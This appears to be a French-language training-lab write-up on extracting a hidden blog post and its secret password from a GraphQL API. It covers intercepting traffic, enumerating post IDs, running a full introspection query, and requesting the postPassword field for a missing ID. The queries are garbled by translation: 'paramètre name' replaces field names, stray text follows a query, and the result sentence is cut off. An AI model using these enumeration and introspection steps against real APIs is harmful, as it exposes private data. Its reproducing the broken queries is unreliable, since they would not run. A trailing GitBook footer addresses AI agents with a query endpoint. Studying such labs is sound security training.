> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/graphql/accessing-private-graphql-posts.md).

# Accès à des publications GraphQL privées

### Accéder à des articles GraphQL privés

#### Objectif du laboratoire

La page du blog contient un article **caché** (non listé) contenant un **mot de passe secret**. Pour valider le lab, vous devez **trouver cet article privé** puis **soumettre le mot de passe**.

### 1) Reconnaissance du trafic GraphQL

Lors de l’arrivée sur la page principale du blog, une requête GraphQL est envoyée en arrière-plan (via le **Réseau** ou **Burp** onglet) :

* Endpoint : `POST /GraphQL/v1`
* Opération : `getBlogSummaries`

<figure><img src="/files/7afa6b0c161bf6c3fe51b82fa84b8c386540c084" alt=""><figcaption></figcaption></figure>

Exemple de requête interceptée :

{% code overflow="wrap" expandable="true" %}

```graphql
{
  "query": "/nquery getBlogSummaries {/n    getAllBlogPosts {/n        image/n        title/n        summary/n        id/n    }/n}",
  "operationName": "getBlogSummaries"
}
```

{% endcode %}

Cette requête renvoie les articles visibles et leurs `id`. On remarque que la liste contient les pages/articles **1, 2, 4 et 5**, mais que **l’absence du 3** → très bon indicateur d’un article **privé / caché**.

<figure><img src="/files/4e8e86fee549e0b202a14e568884f81a501fc3f4" alt=""><figcaption></figcaption></figure>

#### 2) Récupération d’un article par ID

Lorsque vous ouvrez un article, l’application envoie une autre requête qui récupère le contenu complet à partir de l’ID :

```graphql
{
  "query": "/n    query getBlogPost($id: Int!) {/n        getBlogPost(id: $id) {/n            image/n            title/n            author/n            date/n            paragraphs/n        }/n    }",
  "operationName": "getBlogPost",
  "variables": {
    "id": 2
  }
}
```

Cela confirme que nous pouvons **énumérer** les articles en modifiant `variables.id`.

#### 3) Introspection pour découvrir le schéma

<figure><img src="/files/ce9d677b6449c72bfe737edc51c60835d7b6ef5a" alt=""><figcaption></figcaption></figure>

Pour voir toutes les propriétés disponibles, nous utilisons la**requête d’introspection** (par ex. via **InQL**, **onglet GraphQL**, ou une charge utile standard) :

```graphql
query IntrospectionQuery {
    __schema {
        queryType {
            paramètre name
        }
        mutationType {
            paramètre name
        }
        subscriptionType {
            paramètre name
        }
        types {
            ...FullType
        }
        directives {
            paramètre name
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    paramètre name
    description
    fields(includeDeprecated: true) {
        paramètre name
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        paramètre name
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    paramètre name
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    paramètre name
    ofType {
        kind
        paramètre name
        ofType {
            kind
            paramètre name
            ofType {
                kind
                paramètre name
            }
        }
    }
}gra
```

Réponse : **200 OK**, très volumineuse (plus de 1000 lignes).

<figure><img src="/files/10bb41f9adec3b6a65585a257534c3a6206c1c5e" alt=""><figcaption></figcaption></figure>

L’analyse révèle un champ intéressant : **`postPassword`**.

<figure><img src="/files/d9cc2fe51dc770426a7adf6c4de83b5ed42d0f8c" alt=""><figcaption></figcaption></figure>

### (4) Extraction de l’article caché (ID 3)

Redémarrer `getBlogPost` en ajoutant le `postPassword` champ, puis cibler l’ID manquant (**3**):

```graphql
    query getBlogPost($id: Int!) {
        getBlogPost(id: $id) {
            image
            title
            author
            date
            paragraphs
            postPassword
        }
    }
```

Variables :

```json
{
    "id":3
}
```

<figure><img src="/files/2cfe602cc6f3d0c7264bab55c713c0d8bae95c0f" alt=""><figcaption></figcaption></figure>

Résultat : la réponse contient la valeur de **`postPassword`** → c

<figure><img src="/files/f715516fc38d9dff643a103b3697cf6f7b6239b1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/graphql/accessing-private-graphql-posts.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
